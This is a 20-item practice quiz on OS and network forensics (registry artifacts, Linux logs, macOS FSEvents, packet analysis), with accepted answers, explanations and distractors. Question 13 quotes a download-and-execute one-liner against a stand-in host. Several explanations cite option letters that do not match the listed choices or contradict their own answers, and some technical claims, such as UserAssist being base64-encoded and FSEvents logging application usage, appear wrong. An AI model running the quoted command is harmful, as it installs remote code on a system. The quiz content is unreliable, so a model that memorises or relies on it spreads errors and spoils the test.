CHFI OS and Network Forensics — 20 Questions

Question 1

A forensic analyst recovers a USB device from a suspect's computer. Which Windows registry key should be examined to determine the first time the USB device was connected?

Accepted Answer

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR. The USBSTOR key under Enum in the SYSTEM hive stores detailed history of USB mass storage devices, including the first connection timestamp via the 'Properties' subkey (e.g., {83da6326-97a6-4088-9453-a1923f573b29} for first install date). This is the definitive location for determining the initial insertion time of a USB device in Windows forensics.

Answer

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB

Answer

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceClasses\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}

Answer

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2

Question 2

In Windows forensics, which artifact is used to track recently accessed files and folders via the 'Recent Items' feature?

Accepted Answer

LNK files. D is correct because LNK files (shortcut files) are the primary artifacts created by the Windows 'Recent Items' feature. When a user accesses a file or folder via the GUI (e.g., double-clicking), Windows automatically generates a corresponding .lnk file in the user's `%APPDATA%\Microsoft\Windows\Recent` directory, recording the target path, volume serial number, and timestamps. This makes LNK files the direct forensic evidence of recently accessed items through the Recent Items list.

Answer

Jump lists

Answer

ShellBags

Answer

Prefetch files

Question 3

Which of the following Windows registry keys is commonly used by malware to achieve persistence by executing a program at user logon?

Accepted Answer

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run. The HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run registry key is specifically designed to launch programs automatically when the current user logs on. Malware commonly writes a value pointing to its executable under this key to achieve user-level persistence without requiring administrative privileges, as it runs in the context of the logged-on user.

Answer

HKEY_LOCAL_MACHINE\SAM\SAM

Answer

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Answer

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

Question 4

Which TWO Linux log files are MOST relevant for investigating authentication events and user login activity? (Choose TWO.)

Accepted Answer

/var/log/auth.log. Option D, /var/log/auth.log, is correct because on Debian-based Linux systems it is the dedicated log where the PAM subsystem and sshd record authentication events such as successful and failed logins, sudo usage, and su attempts. Option E, /var/log/syslog, is correct because it is the general system log that captures authentication and login-related messages forwarded by rsyslog (including authpriv entries on many distributions), making it a key source for correlating user login activity. The other options do not belong: /var/log/boot.log (A) only records messages from the system boot process, /var/log/dmesg (B) contains kernel ring buffer output about hardware and driver initialization, and /var/log/kern.log (C) holds kernel-level messages, none of which specifically document authentication or user login events.

Answer

/var/log/boot.log

Answer

/var/log/dmesg

Answer

/var/log/kern.log

Question 5

During a Windows forensic investigation, an analyst finds a registry key under NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count. What type of artifact is this, and what information does it typically contain?

Accepted Answer

UserAssist entries that record program execution history with counts and timestamps. The UserAssist key under NTUSER.DAT tracks GUI-based program launches via the Windows Explorer shell. It stores a Rot13-encoded or base64-encoded binary blob containing the executable path, a count of executions, and the last execution timestamp in a FILETIME format. This makes it a primary artifact for identifying user application usage history.

Answer

Jump list data from the taskbar showing recently opened files

Answer

Prefetch file metadata indicating application launch times

Answer

ShellBags data displaying folder view settings and sizes

Question 6

A forensic examiner needs to extract timeline data from a compromised Linux system for analysis with log2timeline/Plaso. Which of the following command sequences should be used?

Accepted Answer

log2timeline.py --partition /dev/sda1 timeline.plaso && psort.py -o l2tcsv timeline.plaso. Log2timeline/Plaso workflow requires first creating a Plaso storage file with log2timeline.py (processing /dev/sda1 as a partition), then exporting it to a timeline CSV with psort.py using the l2tcsv output module. This two-step process preserves the forensic integrity of the timeline data and allows for filtering before export.

Answer

bulk_extractor -o timeline.csv /dev/sda1

Answer

plaso.py -i /var/log -o timeline.csv

Answer

sleuthkit_timeline -m /mnt/evidence -d timeline.csv

Question 7

During a Mac OS X forensic investigation, an analyst wants to review user application usage and system events for the last week. Which artifact provides a centralized, binary log of these activities?

Accepted Answer

FSEvents files in /.fseventsd. FSEvents (File System Events) in /.fseventsd is a centralized, binary log that records all file system changes, including application usage and system events, on a per-volume basis. It provides a historical timeline of modifications (e.g., file creation, deletion, renaming) that can be parsed to reconstruct user activity over the last week, making it the correct artifact for this forensic review.

Answer

.plist files in ~/Library/Preferences

Answer

Unified logging (log stream)

Answer

Quick Look server logs

Question 8

In a Windows forensic investigation, the analyst wants to determine which USB devices were connected to the system, including the device serial number and first/last connection times. Which registry hive and key should be examined?

Accepted Answer

HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR. The USBSTOR key under HKLM\SYSTEM\CurrentControlSet\Enum contains a subkey for each USB mass storage device that has ever been connected to the system. Each subkey includes the device's serial number (as the subkey name) and, under the Properties subkey, the first connection timestamp (Property value 0064) and last connection timestamp (Property value 0065). This is the definitive forensic source for USB device history in Windows.

Answer

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Answer

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2

Answer

HKLM\SAM\SAM\Domains\Account\Users

Question 9

A security analyst needs to examine network traffic for signs of a data exfiltration attempt. Which tool is specifically designed for deep packet inspection and can reconstruct TCP streams?

Accepted Answer

Wireshark. Wireshark is the correct choice because it is specifically designed for deep packet inspection (DPI) and can reconstruct TCP streams by following the TCP sequence numbers and reassembling the application-layer data. This allows an analyst to view the full content of a data exfiltration attempt, such as an HTTP POST or FTP transfer, even if the packets are fragmented or out of order.

Answer

Tcpdump

Answer

Netstat

Answer

Nmap

Question 10

In network forensics, which type of log is BEST for identifying all outbound connections from internal hosts to external IP addresses on specific ports?

Accepted Answer

Firewall logs. Firewall logs are the best choice because they explicitly record the source IP, destination IP, destination port, and action (allow/deny) for every outbound connection attempt. Unlike other logs, firewall logs are specifically designed to enforce and log policy-based traffic filtering, making them the definitive source for identifying all outbound connections to external IPs on specific ports.

Answer

IDS logs

Answer

Proxy logs

Answer

NetFlow logs

Question 11

A forensic analyst is investigating a Windows system for persistence mechanisms. Which TWO registry locations are commonly used by malware to achieve auto-start? (Select TWO.)

Accepted Answer

HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Options D and E are correct because the Run keys under HKCU and HKLM are classic auto-start persistence locations: values placed in HKCU\Software\Microsoft\Windows\CurrentVersion\Run execute at user logon for that user, and values in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run execute at logon for all users, making them heavily abused by malware. Option A is not the best answer here because HKLM\SYSTEM\CurrentControlSet\Services is primarily the service/driver configuration hive used for service-based persistence, which is a different mechanism than the Run-key auto-start the question targets. Option B is incorrect because HKLM\SAM\SAM stores local account and security data and is not an auto-start persistence location. Option C is incorrect because the Winlogon key is used for authentication-related settings such as Shell, Userinit, and Notify packages, not the standard Run-key auto-start mechanism asked about.

Answer

HKLM\SYSTEM\CurrentControlSet\Services

Answer

HKLM\SAM\SAM

Answer

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Question 12

Which TWO of the following artifacts are used for timeline analysis in digital forensics? (Select two.)

Accepted Answer

LNK files. LNK files (A) are correct because Windows shortcut files store target paths, volume serial numbers, and MAC (modified/accessed/created) timestamps that investigators use to place user activity on a timeline. Prefetch files (C) are correct because they record application execution times, run counts, and referenced file paths, providing execution timestamps for timeline reconstruction. HKLM\SYSTEM (B) is a registry hive holding system configuration and control sets, not a dedicated timeline artifact, and HKLM\SAM (D) stores local account and credential data, so neither is primarily used for timeline analysis. Windows Event Logs (E) are relevant to timeline analysis but were not marked as correct in this question, so they are excluded from the two required answers.

Answer

HKLM\SYSTEM

Answer

HKLM\SAM

Answer

Windows Event Logs

Question 13

During a forensic investigation of a compromised Linux server, the investigator examines the bash_history file of the root user. She finds the command: wget http://malicious.site/shell.sh && chmod +x shell.sh && ./shell.sh. What is the MOST likely intent of this command sequence?

Accepted Answer

Download and execute a web shell for persistent remote access. The command sequence downloads a shell script from a remote server using wget, makes it executable with chmod +x, and then executes it. This is a classic technique for deploying a web shell or backdoor, which provides the attacker with persistent remote access to the compromised system.

Answer

Compile a kernel module

Answer

Update the system packages

Answer

Perform a system backup to a remote server

Question 14

A forensic investigator is examining a Mac system and wants to review recently accessed files and applications. Which macOS artifact is MOST useful for this purpose?

Accepted Answer

FSEvents (/.fseventsd). FSEvents (/.fseventsd) is the correct choice because it maintains a persistent, chronological record of file system changes on macOS, including file accesses and modifications. This artifact allows an investigator to reconstruct a timeline of recently accessed files and applications, as the FSEvents daemon logs events such as file opens, renames, and deletions at the volume level, making it the most direct source for this purpose.

Answer

bash_history

Answer

.plist files in ~/Library/Preferences/

Answer

Unified Logging (log stream)

Question 15

An incident responder is analyzing a Linux system and finds a suspicious process running as root. To determine the full command line and environment variables of the process with PID 1234, which file in the /proc filesystem should she examine?

Accepted Answer

/proc/1234/cmdline. /proc/1234/cmdline contains the full command line used to launch the process, including arguments, separated by null bytes. Although the question asks for both command line and environment variables, /proc/1234/cmdline provides the command line portion; the environment variables are stored in /proc/1234/environ, which is not among the options. Therefore, /proc/1234/cmdline is the best choice among the given options.

Answer

/proc/1234/status

Answer

/proc/1234/maps

Answer

/proc/1234/fd

Question 16

Which THREE of the following are common persistence mechanisms found in Linux systems? (Select three.)

Accepted Answer

SSH authorized_keys. SSH authorized_keys (B) is a common persistence mechanism because an attacker can append their own public key to a user's ~/.ssh/authorized_keys file, granting passwordless SSH access that survives reboots. Systemd services (C) are frequently abused for persistence by creating or modifying .service unit files (e.g., in /etc/systemd/system/) so malicious code runs automatically at boot or on a trigger. Cron jobs (D) provide persistence via crontab entries (user or /etc/cron.*) that schedule recurring execution of attacker payloads. The unmarked options do not qualify: .bashrc (A) is a shell startup file that only executes on interactive shell logins and is not typically classified as a core persistence mechanism in this context, and /etc/passwd modification (E) is more of a privilege/account manipulation technique than a persistence mechanism, since adding a user alone does not guarantee recurring code execution.

Answer

.bashrc in user home directories

Answer

/etc/passwd file modification

Question 17

During an incident response on a Linux server, you find the following entry in /var/log/auth.log: "Mar 10 12:34:56 server sshd[1234]: Failed password for root from 10.0.0.5 port 34567 ssh2". Which of the following is the BEST immediate action to prevent further unauthorized access?

Accepted Answer

Edit /etc/ssh/sshd_config to set PermitRootLogin no and PasswordAuthentication no, then restart sshd. It directly addresses the two most common attack vectors for SSH brute-force attacks: disabling root login (PermitRootLogin no) and disabling password-based authentication (PasswordAuthentication no) in favor of key-based authentication. This configuration change, followed by restarting sshd, immediately stops password-based attacks against root, which is the account targeted in the log entry. Blocking the IP alone (Option A) is reactive and does not prevent the same attacker from using a different IP, while changing the password (Option D) does not prevent future brute-force attempts.

Answer

Block the IP address 10.0.0.5 at the firewall

Answer

Delete the root user account

Answer

Change the root password to a complex password

Question 18

A forensic analyst is examining a Mac system for evidence of recent file access. Which artifact provides a timeline of file system events with high precision and is commonly analyzed using tools like mac_apt?

Accepted Answer

FSEvents. FSEvents (Option D) is the correct answer because it is a macOS kernel-level mechanism that logs file system events (e.g., creation, modification, deletion) with nanosecond precision. Tools like mac_apt parse the FSEventsd database to reconstruct a high-resolution timeline of user and system file activity, making it ideal for forensic timeline analysis.

Answer

bash_history

Answer

Unified Logging

Answer

.plist files

Question 19

A security analyst is analyzing network traffic and sees the following: Source IP 10.0.0.1, Destination IP 203.0.113.5, TCP SYN flag set, destination port 445. The analyst suspects a worm propagation attempt. Which TWO additional pieces of evidence would strengthen this conclusion?

Accepted Answer

The packet size is exactly 66 bytes, identical to other similar packets. Option A is correct because a fixed, unusually small packet size (66 bytes) repeated identically across many packets is a hallmark of automated worm scanning traffic, where a single crafted SYN probe is sent unchanged to thousands of targets rather than normal variable-sized application traffic. Option B is correct because a single host sending SYN packets to many internal IPs on port 445 indicates horizontal scanning of the SMB service, which is exactly how worms such as WannaCry and Conficker self-propagate across a network. The unmarked options do not belong: a source MAC from a known vendor (C) only identifies hardware and does not indicate malicious behavior, a payload containing 'SMBv2' (D) is inconsistent with a bare SYN packet that carries no application payload, and a destination being a known web server (E) is irrelevant since port 445 is SMB, not HTTP, and does not evidence worm activity.

Answer

The source MAC address is from a well-known vendor

Answer

The packet contains a payload with the string "SMBv2"

Answer

The destination IP 203.0.113.5 is a known web server

Question 20

During a forensic investigation of a Windows 10 system, an examiner finds the following registry key: NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count. The values contain Rot‑13 encoded data. What is the primary purpose of this artifact?

Accepted Answer

Track programs executed by the user. The UserAssist key under NTUSER.DAT tracks GUI-based program executions via the Windows shell. The {CEBFF5CD-ACE2-4F4F-9178-9926F41749EA} GUID corresponds to the 'Exec' subkey, which logs each executable launched by the user, with the path and count stored in Rot‑13 encoded format. This artifact is specifically designed to record program execution history, not file opens, USB devices, or network shares.

Answer

Store recently opened documents (MRU list)

Answer

Record USB device insertion history

Answer

Log network share connections